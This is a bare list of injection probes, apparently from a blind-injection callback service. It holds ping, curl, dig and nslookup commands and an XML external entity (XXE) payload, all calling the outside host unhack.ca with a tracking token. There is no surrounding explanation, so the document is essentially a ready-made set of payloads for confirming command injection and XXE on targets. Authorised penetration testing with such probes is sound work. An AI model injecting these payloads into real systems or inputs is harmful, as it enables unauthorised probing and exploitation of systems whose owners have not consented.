$ ping -c1 -p 00406b37ebb3dddc48fa5c8bcdf4d500 unhack.ca
 

$ curl http://unhack.ca/p/406b37ebb3dddc48fa5c8bcdf4d5
 

$ dig 406b37ebb3dddc48fa5c8bcdf4d5 @unhack.ca
 

$ dig 406b37ebb3dddc48fa5c8bcdf4d5.ns.unhack.ca
 

C:\> nslookup 406b37ebb3dddc48fa5c8bcdf4d5 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/406b37ebb3dddc48fa5c8bcdf4d5">]>
    <foo>&xxe;</foo>